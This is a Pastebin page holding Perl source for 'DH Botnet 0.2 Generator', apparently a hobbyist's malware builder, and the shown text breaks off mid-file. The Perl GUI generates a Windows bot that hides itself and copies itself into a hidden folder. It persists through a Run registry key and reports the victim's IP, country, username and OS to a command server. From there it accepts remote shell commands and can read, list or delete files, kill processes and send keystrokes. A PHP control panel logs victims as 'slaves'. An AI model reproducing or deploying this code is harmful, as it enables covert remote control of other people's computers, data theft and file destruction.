Pastebin launched a little side project called VERYVIRAL.com, check it out ;-) Want more features on Pastebin? Sign Up, it's FREE!

Project DH Botnet 0.2 (Codigo IDENTADO)

By: Doddy on Sep 1st, 2012  |  syntax: Perl  |  size: 30.85 KB  |  views: 452  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. #!usr/bin/perl
  2. #DH Botnet 0.2 Generator
  3. #Coded By Doddy H
  4.  
  5. use Tk;
  6. use Tk::Dialog;
  7. use Digest::MD5 qw(md5_hex);
  8.  
  9. if ( $^O eq 'MSWin32' ) {
  10.     use Win32::Console;
  11.     Win32::Console::Free();
  12. }
  13.  
  14. my $color_fondo = "black";
  15. my $color_texto = "cyan";
  16.  
  17. my $win_bot =
  18.   MainWindow->new( -background => $color_fondo, -foreground => $color_texto );
  19. $win_bot->title("DH Botnet 0.2 Generator");
  20. $win_bot->resizable( 0, 0 );
  21. $win_bot->geometry("370x530+20+20");
  22.  
  23. $win_bot->Label(
  24.     -text       => "-- == Server Configuration == --",
  25.     -font       => "Impact",
  26.     -background => $color_fondo,
  27.     -foreground => $color_texto
  28. )->place( -x => 70, -y => 20 );
  29.  
  30. $win_bot->Label(
  31.     -text       => "Page : ",
  32.     -font       => "Impact",
  33.     -background => $color_fondo,
  34.     -foreground => $color_texto
  35. )->place( -x => 20, -y => 60 );
  36. my $page = $win_bot->Entry(
  37.     -text       => "http://localhost:8080/botnet/index.php",
  38.     -background => $color_fondo,
  39.     -foreground => $color_texto,
  40.     -width      => 40
  41. )->place( -x => 67, -y => 65 );
  42. $win_bot->Label(
  43.     -text       => "Timeout : ",
  44.     -font       => "Impact",
  45.     -background => $color_fondo,
  46.     -foreground => $color_texto
  47. )->place( -x => 20, -y => 90 );
  48. my $timeout = $win_bot->Entry(
  49.     -text       => "5",
  50.     -background => $color_fondo,
  51.     -foreground => $color_texto,
  52.     -width      => 10
  53. )->place( -x => 86, -y => 95 );
  54. $win_bot->Label(
  55.     -text       => "seconds",
  56.     -font       => "Impact",
  57.     -background => $color_fondo,
  58.     -foreground => $color_texto
  59. )->place( -x => 155, -y => 90 );
  60. $win_bot->Label(
  61.     -text       => "Directory : ",
  62.     -font       => "Impact",
  63.     -background => $color_fondo,
  64.     -foreground => $color_texto
  65. )->place( -x => 20, -y => 120 );
  66. my $dir_hide = $win_bot->Entry(
  67.     -text       => "c:/windows/TESTARGG",
  68.     -width      => 35,
  69.     -background => $color_fondo,
  70.     -foreground => $color_texto
  71. )->place( -x => 95, -y => 125 );
  72.  
  73. $win_bot->Label(
  74.     -text       => "-- == Database Configuration == --",
  75.     -font       => "Impact",
  76.     -background => $color_fondo,
  77.     -foreground => $color_texto
  78. )->place( -x => 60, -y => 160 );
  79.  
  80. $win_bot->Label(
  81.     -text       => "Host : ",
  82.     -font       => "Impact",
  83.     -background => $color_fondo,
  84.     -foreground => $color_texto
  85. )->place( -x => 20, -y => 200 );
  86. my $host = $win_bot->Entry(
  87.     -text       => "localhost",
  88.     -width      => 40,
  89.     -background => $color_fondo,
  90.     -foreground => $color_texto
  91. )->place( -x => 65, -y => 204 );
  92. $win_bot->Label(
  93.     -text       => "Username : ",
  94.     -font       => "Impact",
  95.     -background => $color_fondo,
  96.     -foreground => $color_texto
  97. )->place( -x => 20, -y => 228 );
  98. my $user = $win_bot->Entry(
  99.     -text       => "doddy",
  100.     -width      => 30,
  101.     -background => $color_fondo,
  102.     -foreground => $color_texto
  103. )->place( -x => 102, -y => 233 );
  104. $win_bot->Label(
  105.     -text       => "Password : ",
  106.     -font       => "Impact",
  107.     -background => $color_fondo,
  108.     -foreground => $color_texto
  109. )->place( -x => 20, -y => 255 );
  110. my $pass = $win_bot->Entry(
  111.     -show       => "*",
  112.     -text       => "",
  113.     -width      => 30,
  114.     -background => $color_fondo,
  115.     -foreground => $color_texto
  116. )->place( -x => 98, -y => 260 );
  117. $win_bot->Label(
  118.     -text       => "Database : ",
  119.     -font       => "Impact",
  120.     -background => $color_fondo,
  121.     -foreground => $color_texto
  122. )->place( -x => 20, -y => 285 );
  123. my $db = $win_bot->Entry(
  124.     -text       => "botnet",
  125.     -width      => 30,
  126.     -background => $color_fondo,
  127.     -foreground => $color_texto
  128. )->place( -x => 98, -y => 290 );
  129.  
  130. $win_bot->Label(
  131.     -text       => "-- == Login == --",
  132.     -font       => "Impact",
  133.     -background => $color_fondo,
  134.     -foreground => $color_texto
  135. )->place( -x => 110, -y => 330 );
  136.  
  137. $win_bot->Label(
  138.     -text       => "Username : ",
  139.     -font       => "Impact",
  140.     -background => $color_fondo,
  141.     -foreground => $color_texto
  142. )->place( -x => 20, -y => 368 );
  143. my $user_login = $win_bot->Entry(
  144.     -text       => "admin",
  145.     -width      => 30,
  146.     -background => $color_fondo,
  147.     -foreground => $color_texto
  148. )->place( -x => 102, -y => 373 );
  149.  
  150. $win_bot->Label(
  151.     -text       => "Password : ",
  152.     -font       => "Impact",
  153.     -background => $color_fondo,
  154.     -foreground => $color_texto
  155. )->place( -x => 20, -y => 395 );
  156. my $pass_login = $win_bot->Entry(
  157.     -text       => "admin",
  158.     -width      => 30,
  159.     -background => $color_fondo,
  160.     -foreground => $color_texto
  161. )->place( -x => 102, -y => 400 );
  162.  
  163. $win_bot->Label(
  164.     -text       => "Timeout : ",
  165.     -font       => "Impact",
  166.     -background => $color_fondo,
  167.     -foreground => $color_texto
  168. )->place( -x => 20, -y => 423 );
  169. my $timeout_botnet = $win_bot->Entry(
  170.     -text       => "5",
  171.     -background => $color_fondo,
  172.     -foreground => $color_texto,
  173.     -width      => 10
  174. )->place( -x => 86, -y => 428 );
  175. $win_bot->Label(
  176.     -text       => "seconds",
  177.     -font       => "Impact",
  178.     -background => $color_fondo,
  179.     -foreground => $color_texto
  180. )->place( -x => 155, -y => 424 );
  181.  
  182. $win_bot->Button(
  183.     -command          => \&generatenow,
  184.     -text             => "Generate!",
  185.     -font             => "Impact",
  186.     -background       => $color_fondo,
  187.     -foreground       => $color_texto,
  188.     -width            => 30,
  189.     -activebackground => $color_texto
  190. )->place( -x => 50, -y => 470 );
  191.  
  192. MainLoop;
  193.  
  194. sub generatenow {
  195.  
  196.     my $code_server = q(#!usr/bin/perl
  197. #DH Botnet Server
  198. #Version 0.2
  199. #Coded By Doddy H
  200. #Command : perl2exe -gui server.pl
  201.  
  202. #Modules to install
  203. #ppm install http://www.bribes.org/perl/ppm/Win32-API.ppd
  204. #ppm install http://www.bribes.org/perl/ppm/Win32-GuiTest.ppd
  205.  
  206. use Win32;
  207. use Win32::API;
  208. use Win32::GuiTest qw(MouseMoveAbsPix SendKeys);
  209. use Win32::Job;
  210. use IO::Socket;
  211. use Win32::OLE qw(in);
  212. use Win32::Process;
  213. use File::Basename;
  214. use Win32::File;
  215. use Win32::TieRegistry( Delimiter => "/" );
  216.  
  217. use LWP::UserAgent;
  218.  
  219. my $nave = LWP::UserAgent->new;
  220. $nave->agent(
  221. "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
  222. );
  223. $nave->timeout(10);
  224.  
  225. ## Main
  226.  
  227. my $url      = "ACA_VA_TU_LINK";
  228. my $timeout  = "ACA_VA_EL_TIMEOUT";
  229. my $dir_hide = "ACA_VA_EL_DIRECTORIO";
  230.  
  231. unless ( -d $dir_hide ) {
  232.     mkdir( $dir_hide, 777 );
  233.     hideit( $dir_hide, "hide" );
  234.     chdir($dir_hide);
  235. }
  236. else {
  237.     chdir($dir_hide);
  238. }
  239.  
  240. unless ( -f "keys" ) {
  241.     savefile( "keys", genpass(5) );
  242. }
  243.  
  244. hideit( "keys", "hide" );
  245.  
  246. ##Infect
  247. hideit( $0, "hide" );
  248. Win32::CopyFile( $0, $dir_hide . "/" . basename($0), 0 );
  249. hideit( $dir_hide . "/" . basename($0), "hide" );
  250. $Registry->{"LMachine/Software/Microsoft/Windows/CurrentVersion/Run//system34"}
  251.   = $dir_hide . "/" . basename($0);
  252.  
  253. #
  254.  
  255. # Start the party
  256.  
  257. my ( $clave, $ip, $pais, $user, $os, $time ) = getmydata();
  258.  
  259. print "[+] Key : $clave\n";
  260. print "[+] IP : $ip\n";
  261. print "[+] Pais : $pais\n";
  262. print "[+] Username : $user\n";
  263. print "[+] OS : $os\n";
  264. print "[+] Timeout : $time\n\n\n";
  265.  
  266. #
  267.  
  268. saludo( $clave, $ip, $pais, $user, $os, $time );    ## Registrar
  269.  
  270. #
  271.  
  272. while (true) {
  273.  
  274.     sleep $timeout;
  275.  
  276.     sigo_vivo($clave);                              ## Estado
  277.  
  278.     my ( $orden, $ar1, $ar2, $ar3 ) = ver_ordenes($clave);
  279.  
  280.     print "\n[+] Orden : $orden\n";
  281.     print "[+] Ar1 : $ar1\n";
  282.     print "[+] Ar2 : $ar2\n";
  283.     print "[+] Ar3 : $ar3\n";
  284.  
  285.     if ( $orden eq "CMD" ) {
  286.         my $code = ejecutate_esta($ar1);
  287.         mandar_rta( $clave, $code );
  288.     }
  289.  
  290.     if ( $orden eq "GetIP" ) {
  291.         my $code = agarrate_la_ip($ar1);
  292.         mandar_rta( $clave, $code );
  293.     }
  294.  
  295.     if ( $orden eq "GetProcess" ) {
  296.         my $code = getprocess();
  297.         mandar_rta( $clave, $code );
  298.     }
  299.  
  300.     if ( $orden eq "KillProcess" ) {
  301.         my $code = pisate_esta($ar1);
  302.         mandar_rta( $clave, $code );
  303.     }
  304.  
  305.     if ( $orden eq "ListDir" ) {
  306.         my $code = cargate_esta($ar1);
  307.         mandar_rta( $clave, $code );
  308.     }
  309.  
  310.     if ( $orden eq "Delete" ) {
  311.         my $code = borrate_esta($ar1);
  312.         mandar_rta( $clave, $code );
  313.     }
  314.  
  315.     if ( $orden eq "OpenFile" ) {
  316.         my $code = openfilenow($ar1);
  317.         mandar_rta( $clave, $code );
  318.     }
  319.  
  320.     if ( $orden eq "OpenCD" ) {
  321.         my $code = tengo_el_cd(1);
  322.         mandar_rta( $clave, $code );
  323.     }
  324.  
  325.     if ( $orden eq "CloseCD" ) {
  326.         my $code = tengo_el_cd(0);
  327.         mandar_rta( $clave, $code );
  328.     }
  329.  
  330.     if ( $orden eq "HideIcons" ) {
  331.         my $code = cambios_jodidos( "iconos", 1 );
  332.         mandar_rta( $clave, $code );
  333.     }
  334.  
  335.     if ( $orden eq "ShowIcons" ) {
  336.         my $code = cambios_jodidos( "iconos", 0 );
  337.         mandar_rta( $clave, $code );
  338.     }
  339.  
  340.     if ( $orden eq "HideTaskbar" ) {
  341.         my $code = cambios_jodidos( "inicio", 1 );
  342.         mandar_rta( $clave, $code );
  343.     }
  344.  
  345.     if ( $orden eq "ShowTaskbar" ) {
  346.         my $code = cambios_jodidos( "inicio", 0 );
  347.         mandar_rta( $clave, $code );
  348.     }
  349.  
  350.     if ( $orden eq "MSG" ) {
  351.         my $code = mensajeate_esta( $ar1, $ar2 );
  352.         mandar_rta( $clave, $code );
  353.     }
  354.  
  355.     if ( $orden eq "OpenWord" ) {
  356.         my $code = write_word($ar1);
  357.         mandar_rta( $clave, $code );
  358.     }
  359.  
  360.     if ( $orden eq "SendKeys" ) {
  361.         my $code = escribite_esta($ar1);
  362.         mandar_rta( $clave, $code );
  363.     }
  364.  
  365.     if ( $orden eq "CrazyMouse" ) {
  366.         my $code = mouse_crazy($ar1);
  367.         mandar_rta( $clave, $code );
  368.     }
  369.  
  370. }
  371.  
  372. #
  373. #
  374.  
  375. ##
  376.  
  377. ## Funciones primarias
  378.  
  379. ## Funcion sigo_vivo()
  380.  
  381. sub sigo_vivo {
  382.  
  383.     tomar( $url, { "sigovivo" => "alpedo", "clavenow" => $_[0] } );
  384.  
  385. }
  386.  
  387. ## Funcion mandar_rta()
  388.  
  389. sub mandar_rta {
  390.  
  391.     tomar( $url,
  392.         { "mandocarajo" => "alpedo", "miclave" => $_[0], "mirta" => $_[1] } );
  393.  
  394. }
  395.  
  396. ##
  397.  
  398. ## Funcion ver_ordenes()
  399.  
  400. sub ver_ordenes {
  401.  
  402.     my $orden = "";
  403.     my $arg1  = "";
  404.     my $arg2  = "";
  405.     my $arg3  = "";
  406.  
  407.     my $code = tomar( $url, { "ordenespabots" => "alpedo", "clave" => $_[0] } );
  408.     chomp $code;
  409.  
  410.     if ( $code =~ /\[\+\] Orden : (.*?)<br>/ ) {
  411.         $orden = $1;
  412.     }
  413.  
  414.     if ( $code =~ /\[\+\] Arg1 : (.*?)<br>/ ) {
  415.         $arg1 = $1;
  416.     }
  417.  
  418.     if ( $code =~ /\[\+\] Arg2 : (.*?)<br>/ ) {
  419.         $arg2 = $1;
  420.     }
  421.  
  422.     if ( $code =~ /\[\+\] Arg3 : (.*?)<br>/ ) {
  423.         $arg3 = $1;
  424.     }
  425.  
  426.     return ( $orden, $arg1, $arg2, $arg3 );
  427.  
  428. }
  429.  
  430. ##
  431.  
  432. ## Funcion saludo()
  433.  
  434. sub saludo {
  435.  
  436.     my ( $clave, $ip, $pais, $user, $os, $time ) = @_;
  437.  
  438.     tomar(
  439.         $url,
  440.         {
  441.             "entradatrasera" => "hidad",
  442.             "key"            => $clave,
  443.             "ip"             => $ip,
  444.             "pais"           => $pais,
  445.             "username"       => $user,
  446.             "os"             => $os,
  447.             "timeout"        => $time
  448.         }
  449.     );
  450.  
  451. }
  452.  
  453. ##
  454.  
  455. ## Funcion getmydata()
  456.  
  457. sub getmydata {
  458.  
  459.     my $clave = openfilenow("keys");
  460.     my $ip;
  461.     my $pais;
  462.     my $user = Win32::LoginName();
  463.     my $os   = Win32::GetOSName();
  464.  
  465.     my $code1 = toma("http://whatismyipaddress.com/");
  466.  
  467.     if ( $code1 =~
  468.         /<input type="text" name="LOOKUPADDRESS" value="(.*)" maxlength/ )
  469.     {
  470.         $ip = $1;
  471.  
  472.     }
  473.     else {
  474.  
  475.         my $code2 = toma("http://www.melissadata.com/lookups/iplocation.asp");
  476.  
  477.         if ( $code2 =~ /Your IP Address: (.*)<\/span>/ ) {
  478.             $ip = $1;
  479.         }
  480.         else {
  481.             $ip = "Not Found";
  482.         }
  483.  
  484.     }
  485.  
  486.     if ( $code1 =~ /<tr><th>Country:<\/th><td>(.*)<\/td><\/tr>/ ) {
  487.         $pais = $1;
  488.     }
  489.     else {
  490.  
  491.         my $code2 = toma(
  492.             "http://www.melissadata.com/lookups/iplocation.asp?ipaddress=$ip");
  493.  
  494.         if ( $code2 =~ /Country<\/td><td align=(.*)><b>(.*)<\/b><\/td>/ ) {
  495.             $pais = $2;
  496.         }
  497.         else {
  498.             $pais = "Not Found";
  499.         }
  500.  
  501.     }
  502.  
  503.     return ( $clave, $ip, $pais, $user, $os, $timeout );
  504.  
  505. }
  506.  
  507. ##
  508.  
  509. ## Kill Process
  510.  
  511. #print pisate_esta("aa");
  512.  
  513. sub pisate_esta {
  514.  
  515.     if ( Win32::Process::KillProcess( $_[0], "" ) ) {
  516.         return "[+] Process Closed";
  517.     }
  518.     else {
  519.         return "[-] Error";
  520.     }
  521.  
  522. }
  523.  
  524. ##
  525.  
  526. ## GetProcess
  527.  
  528. #print getprocess();
  529.  
  530. sub getprocess {
  531.  
  532.     my $relleno;
  533.  
  534.     my $uno = Win32::OLE->new("WbemScripting.SWbemLocator");
  535.     my $dos = $uno->ConnectServer( "", "root\\\\cimv2" );
  536.  
  537.     foreach my $pro ( in $dos->InstancesOf("Win32_Process") ) {
  538.         $relleno .= "[+] Process Name : " . $pro->{Caption} . "\n";
  539.         $relleno .= "[+] PID : " . $pro->{ProcessId} . "\n\n";
  540.     }
  541.     return $relleno;
  542. }
  543.  
  544. ##
  545.  
  546. ## Get IP
  547.  
  548. #print agarrate_la_ip("www.petardas.com");
  549.  
  550. sub agarrate_la_ip {
  551.     my $get = gethostbyname( $_[0] );
  552.     return inet_ntoa($get);
  553. }
  554.  
  555. ##
  556.  
  557. ##List Directory
  558.  
  559. #print cargate_esta("C:/xampp");
  560.  
  561. sub cargate_esta {
  562.  
  563.     my $relleno;
  564.  
  565.     if ( -d $_[0] ) {
  566.         opendir( DIR, $_[0] );
  567.         my @archivos = readdir DIR;
  568.         for my $archivo (@archivos) {
  569.             if ( -d $_[0] . "/" . $archivo ) {
  570.                 $relleno .= "[+] Directory : $archivo\n";
  571.             }
  572.             else {
  573.                 $relleno .= "[+] File : $archivo\n";
  574.             }
  575.         }
  576.         return $relleno;
  577.     }
  578.     else {
  579.         return "[-] Error";
  580.     }
  581.  
  582. }
  583.  
  584. ##
  585.  
  586. ##Delete Fle
  587.  
  588. #print borrate_esta("C:/xampp/test");
  589.  
  590. sub borrate_esta {
  591.  
  592.     if ( -f $_[0] ) {
  593.         if ( unlink( $_[0] ) ) {
  594.             return "[+] File deleted";
  595.         }
  596.         else {
  597.             return "[-] Error";
  598.         }
  599.     }
  600.     elsif ( -d $_[0] ) {
  601.         if ( rmdir( $_[0] ) ) {
  602.             return "[+] Directory deleted";
  603.         }
  604.         else {
  605.             return "[-] Error";
  606.         }
  607.     }
  608.     else {
  609.         return "[-] Error";
  610.     }
  611.  
  612. }
  613.  
  614. ##
  615.  
  616. ## Open File
  617.  
  618. #print openfilenow("C:/xampp/htdocs/index.php");
  619.  
  620. sub openfilenow {
  621.  
  622.     if ( -f $_[0] ) {
  623.         open my $FILE, q[<], $_[0];
  624.         my $conte = join q[], <$FILE>;
  625.         close $FILE;
  626.         return $conte;
  627.     }
  628.     else {
  629.         return "[-] File Not Found";
  630.     }
  631.  
  632. }
  633.  
  634. ##
  635.  
  636. ##CMD
  637.  
  638. #print ejecutate_esta("net user");
  639.  
  640. sub ejecutate_esta {
  641.  
  642.     my $job = Win32::Job->new;
  643.     $job->spawn(
  644.         "cmd",
  645.         qq{cmd /C $_[0]},
  646.         {
  647.             no_window => "true",
  648.             stdout    => "logxfuck.txt",
  649.             stderr    => "logxfuck.txt"
  650.         }
  651.     );
  652.  
  653.     $ok = $job->run("30");
  654.  
  655.     open my $FILE, q[<], "logxfuck.txt";
  656.     my $wordf = join q[], <$FILE>;
  657.     close $FILE;
  658.  
  659.     unlink("logxfuck.txt");
  660.  
  661.     return $wordf;
  662.  
  663. }
  664.  
  665. ##
  666.  
  667. ##Ocultar y mostrar
  668.  
  669. #cambios_jodidos("inicio",1);
  670. #cambios_jodidos("iconos",1);
  671.  
  672. sub cambios_jodidos {
  673.  
  674.     my $as = new Win32::API( "user32", "FindWindow", "PP", "N" );
  675.     my $b  = new Win32::API( "user32", "ShowWindow", "NN", "N" );
  676.  
  677.     if ( $_[0] eq "inicio" ) {
  678.  
  679.         if ( $_[1] eq "1" ) {
  680.             $handlex = $as->Call( "Shell_TrayWnd", 0 );
  681.             $b->Call( $handlex, 0 );
  682.         }
  683.         else {
  684.             $handlex = $as->Call( "Shell_TrayWnd", 0 );
  685.             $b->Call( $handlex, 1 );
  686.         }
  687.  
  688.     }
  689.  
  690.     if ( $_[0] eq "iconos" ) {
  691.  
  692.         if ( $_[1] eq "1" ) {
  693.  
  694.             $handle = $as->Call( 0, "Program Manager" );
  695.             $b->Call( $handle, 0 );
  696.         }
  697.         else {
  698.             $handle = $as->Call( 0, "Program Manager" );
  699.             $b->Call( $handle, 1 );
  700.         }
  701.     }
  702.     return ("Ok");
  703. }
  704.  
  705. ##
  706.  
  707. ##SendKeys
  708.  
  709. #escribite_esta("Viva el bananero");
  710.  
  711. sub escribite_esta {
  712.     SendKeys(shift);
  713.     return ("Ok");
  714. }
  715.  
  716. ##
  717.  
  718. ## Word
  719.  
  720. #write_word("No tengas miedo");
  721.  
  722. sub write_word {
  723.  
  724.     my $text = $_[0];
  725.     system("start winword.exe");
  726.     sleep 3;
  727.     escribite_esta($text);
  728.     return ("Ok");
  729. }
  730.  
  731. ##
  732.  
  733. ## Mouse Crazy
  734.  
  735. #mouse_crazy(666);
  736.  
  737. sub mouse_crazy {
  738.  
  739.     for my $number ( 1 .. $_[0] ) {
  740.         MouseMoveAbsPix( $number, $number );
  741.     }
  742.     return "Ok";
  743. }
  744.  
  745. ##
  746.  
  747. ## CD
  748.  
  749. #tengo_el_cd(0);
  750.  
  751. sub tengo_el_cd {
  752.  
  753.     my $ventana = Win32::API->new( "winmm", "mciSendString", "PPNN", "N" );
  754.     my $rta = ' ' x 127;
  755.     if ( $_[0] eq "1" ) {
  756.         $ventana->Call( 'set CDAudio door open', $rta, 127, 0 );
  757.     }
  758.     else {
  759.         $ventana->Call( 'set CDAudio door closed', $rta, 127, 0 );
  760.     }
  761.     return "Ok";
  762. }
  763.  
  764. ##
  765.  
  766. ## MSG
  767.  
  768. #mensajeate_esta("Soy Dios","Obedeceme hijo xDD");
  769.  
  770. sub mensajeate_esta {
  771.     Win32::MsgBox( $_[1], 0, $_[0] );
  772.     return "Ok";
  773. }
  774.  
  775. ##
  776.  
  777. ## Funciones secundarias
  778.  
  779. ## Funcion hideit()
  780.  
  781. sub hideit {
  782.     if ( $_[1] eq "show" ) {
  783.         Win32::File::SetAttributes( $_[0], NORMAL );
  784.     }
  785.     elsif ( $_[1] eq "hide" ) {
  786.         Win32::File::SetAttributes( $_[0], HIDDEN );
  787.     }
  788. }
  789.  
  790. ##
  791.  
  792. ## Generate Keys
  793.  
  794. sub genpass {
  795.  
  796.     my $length = shift;
  797.     my $valor_car;
  798.     my @re;
  799.  
  800.     my @mayus  = ( A .. Z );
  801.     my @minus  = ( a .. z );
  802.     my @number = ( 0 .. 9 );
  803.     my @op     = ( 1 .. 3 );
  804.  
  805.     for ( 1 .. $length ) {
  806.  
  807.         my $opt = @op[ rand(@op) ];
  808.         if ( $opt eq 1 ) {
  809.             push( @re, @mayus[ rand(@mayus) ] );
  810.         }
  811.         elsif ( $opt eq 2 ) {
  812.             push( @re, @minus[ rand(@minus) ] );
  813.         }
  814.         elsif ( $opt eq 3 ) {
  815.             push( @re, @number[ rand(@number) ] );
  816.         }
  817.     }
  818.     for my $val (@re) {
  819.         chomp $val;
  820.         $valor_car .= $val;
  821.     }
  822.     return $valor_car;
  823. }
  824.  
  825. ##
  826.  
  827. ## Funcion savefile()
  828.  
  829. sub savefile {
  830.     open( SAVE, ">>" . $_[0] );
  831.     print SAVE $_[1];
  832.     close SAVE;
  833. }
  834.  
  835. ##
  836.  
  837. ## Funcion toma()
  838.  
  839. sub toma {
  840.     return $nave->get( $_[0] )->content;
  841. }
  842.  
  843. ##
  844.  
  845. ## Funcion tomar()
  846.  
  847. sub tomar {
  848.     my ( $web, $var ) = @_;
  849.     return $nave->post( $web, [ %{$var} ] )->content;
  850. }
  851.  
  852. ##
  853.  
  854. # The End ?);
  855.  
  856.     my $code_botnet = q(<?php
  857.  
  858. // DH Botnet
  859. // Version 0.2
  860. // Coded By Doddy H
  861.  
  862. // Datos
  863.  
  864. $username = "ACA_VA_TU_USER";
  865. $password = "ACA_VA_TU_PASSWORD_EN_MD5";
  866. $host = "ACA_VA_EL_HOST";
  867. $userw = "ACA_VA_EL_USER";
  868. $passw = "ACA_VA_EL_PASS";
  869. $db = "ACA_VA_EL_NOMBRE";
  870. $tiempo_de_carga = "ACA_VA_EL_TIEMPO_DE_CARGA";
  871.  
  872. //
  873.  
  874. // Start the party
  875.  
  876. error_reporting(0);
  877. mysql_connect($host, $userw, $passw);
  878. mysql_select_db($db);
  879.  
  880. //
  881.  
  882. // Registro
  883. if (isset($_POST['entradatrasera'])) {
  884.     $key = mysql_real_escape_string($_POST['key']);
  885.     $ip = mysql_real_escape_string($_POST['ip']);
  886.     $pais = mysql_real_escape_string($_POST['pais']);
  887.     $username = mysql_real_escape_string($_POST['username']);
  888.     $os = mysql_real_escape_string($_POST['os']);
  889.     $timeout = mysql_real_escape_string($_POST['timeout']);
  890.     $control = 0;
  891.     $rea = mysql_query("select clave from slaves");
  892.     while ($ver = mysql_fetch_array($rea)) {
  893.         if ($ver[0] == $key) {
  894.             $control = 1;
  895.         }
  896.     }
  897.     if ($control == 0) {
  898.         mysql_query("INSERT INTO slaves(id,clave,ip,pais,user,os,timeout)values(NULL,'$key','$ip','$pais','$username','$os','$timeout')");
  899.         mysql_query("INSERT INTO ordenes(id,clave)values(NULL,'$key')");
  900.     }
  901. }
  902. //
  903. // Bots siguen vivos
  904. if (isset($_POST['sigovivo'])) {
  905.     $clave = mysql_real_escape_string($_POST['clavenow']);
  906.     mysql_query("UPDATE slaves set estado='1' where clave='$clave'");
  907. }
  908. // Bots mandan rta
  909. if (isset($_POST['mandocarajo'])) {
  910.     $clave = mysql_real_escape_string($_POST['miclave']);
  911.     $rta = mysql_real_escape_string($_POST['mirta']);
  912.     mysql_query("UPDATE ordenes set rta='$rta' where clave='$clave'");
  913. }
  914. //
  915. // Ordenes para bots
  916. if (isset($_POST['ordenespabots'])) {
  917.     $h = mysql_real_escape_string($_POST['clave']);
  918.     $rea = mysql_query("select * from ordenes where clave='$h'");
  919.     $ver = mysql_fetch_array($rea);
  920.     $id = mysql_real_escape_string($ver[0]);
  921.     $clave = mysql_real_escape_string($ver[1]);
  922.     $orden = mysql_real_escape_string($ver[2]);
  923.     $arg1 = mysql_real_escape_string($ver[3]);
  924.     $arg2 = mysql_real_escape_string($ver[4]);
  925.     $arg3 = mysql_real_escape_string($ver[5]);
  926.     $rta = mysql_real_escape_string($ver[6]);
  927.     echo "[+] ID : " . htmlentities($id) . "<br>";
  928.     echo "[+] Clave : " . htmlentities($clave) . "<br>";
  929.     echo "[+] Orden : " . htmlentities($orden) . "<br>";
  930.     echo "[+] Arg1 : " . htmlentities($arg1) . "<br>";
  931.     echo "[+] Arg2 : " . htmlentities($arg2) . "<br>";
  932.     echo "[+] Arg3 : " . htmlentities($arg3) . "<br>";
  933.     echo "[+] Rta : " . htmlentities($rta) . "<br>";
  934. }
  935. //
  936. // Main
  937. elseif (isset($_COOKIE['portal'])) {
  938.     colores();
  939.     $st = base64_decode($_COOKIE['portal']);
  940.     $plit = preg_split("/@/", $st);
  941.     $user = $plit[0];
  942.     $pass = $plit[1];
  943.     if ($user == $username and $pass == $password) {
  944.         echo "<title>DH Botnet 0.2</title>";
  945.         if (isset($_POST['instalar'])) {
  946.             $todo = "
  947. create table slaves (
  948. id int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
  949. clave TEXT NOT NULL,
  950. ip TEXT NOT NULL,
  951. pais TEXT NOT NULL,
  952. user TEXT NOT NULL,
  953. os TEXT NOT NULL,
  954. timeout TEXT NOT NULL,
  955. estado TEXT NOT NULL,
  956. PRIMARY KEY (id)
  957. );
  958. ";
  959.             $todo2 = "
  960. create table ordenes (
  961. id int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
  962. clave TEXT NOT NULL,
  963. orden TEXT NOT NULL,
  964. arg1 TEXT NOT NULL,
  965. arg2 TEXT NOT NULL,
  966. arg3 TEXT NOT NULL,
  967. rta TEXT NOT NULL,
  968. PRIMARY KEY (id)
  969. );
  970. ";
  971.             if (mysql_query($todo)) {
  972.                 if (mysql_query($todo2)) {
  973.                     echo "<script>alert('Installed');</script>";
  974.                 }
  975.             } else {
  976.                 echo "<script>alert('Error');</script>";
  977.             }
  978.         }
  979.         if (mysql_num_rows(mysql_query("show tables like 'slaves'"))) {
  980.             // TODO EL CODIGO DEL MENU
  981.             if (isset($_POST['about'])) {
  982.                 echo "
  983. <center>
  984.  
  985. <h1>[++] Commands :</h1><br><br>
  986.  
  987. <h2>
  988. CMD [command]<br>
  989. GetIP [host]<br>
  990. GetProcess<br>
  991. KillProcess [pid]<br>
  992. ListDir [directory]<br>
  993. Delete [file]<br>
  994. OpenFile [file]<br>
  995. OpenCD <br>
  996. CloseCD<br>
  997. HideIcons<br>
  998. ShowIcons<br>
  999. HideTaskbar<br>
  1000. ShowTaskbar<br>
  1001. MSG [title] [text]<br>
  1002. OpenWord [text]<br>
  1003. SendKeys [text]<br>
  1004. CrazyMouse [time]<br>
  1005. </h2>
  1006. <br><br><br>";
  1007.                 echo '<a href="javascript:history.back()"><h1>Back</h1></a></center>';
  1008.                 exit(1);
  1009.             }
  1010.             if (isset($_GET['borrar'])) {
  1011.                 $id = $_GET['borrar'];
  1012.                 if (is_numeric($id)) {
  1013.                     if (@mysql_query("delete from slaves where id='$id'")) {
  1014.                         if (@mysql_query("delete from ordenes where id='$id'")) {
  1015.                             echo "<script>alert('Deleted');</script>";
  1016.                             echo "<META HTTP-EQUIV='Refresh' CONTENT='0;URL=?'>";
  1017.                         }
  1018.                     }
  1019.                 } else {
  1020.                     echo "<script>alert('DIE MOTHER FUCKER');</script>";
  1021.                 }
  1022.             }
  1023.             if (isset($_GET['console'])) {
  1024.                 $id = $_GET['console'];
  1025.                 if (is_numeric($id)) {
  1026.                     $re = mysql_query("select * from ordenes where id='$id'");
  1027.                     $ver = mysql_fetch_array($re);
  1028.                     echo "<center><br><h1>Console</h1><br>";
  1029.                     echo "<center><textarea cols=80 rows=40 name=code>";
  1030.                     echo htmlentities($ver[6]);
  1031.                     echo "</textarea></center><br>";
  1032.                     echo '<a href="javascript:history.back()"><h1>Back</h1></a></center>';
  1033.                     // ACTUALIZAR A NADA
  1034.                     mysql_query("UPDATE ordenes set orden='',arg1='',arg2='',arg3='',rta='' where id=" . $id);
  1035.                     exit(1);
  1036.                 } else {
  1037.                     echo "<script>alert('DIE MOTHER FUCKER');</script>";
  1038.                 }
  1039.             }
  1040.             if (isset($_POST['mandarcmd'])) { // MUY IMPORTANTE
  1041.                 $op = mysql_real_escape_string($_POST['options']);
  1042.                 $id = mysql_real_escape_string($_POST['idiotas']);
  1043.                 $orden1 = mysql_real_escape_string($_POST['cmd1']);
  1044.                 $orden2 = mysql_real_escape_string($_POST['cmd2']);
  1045.                 $orden3 = mysql_real_escape_string($_POST['cmd3']);
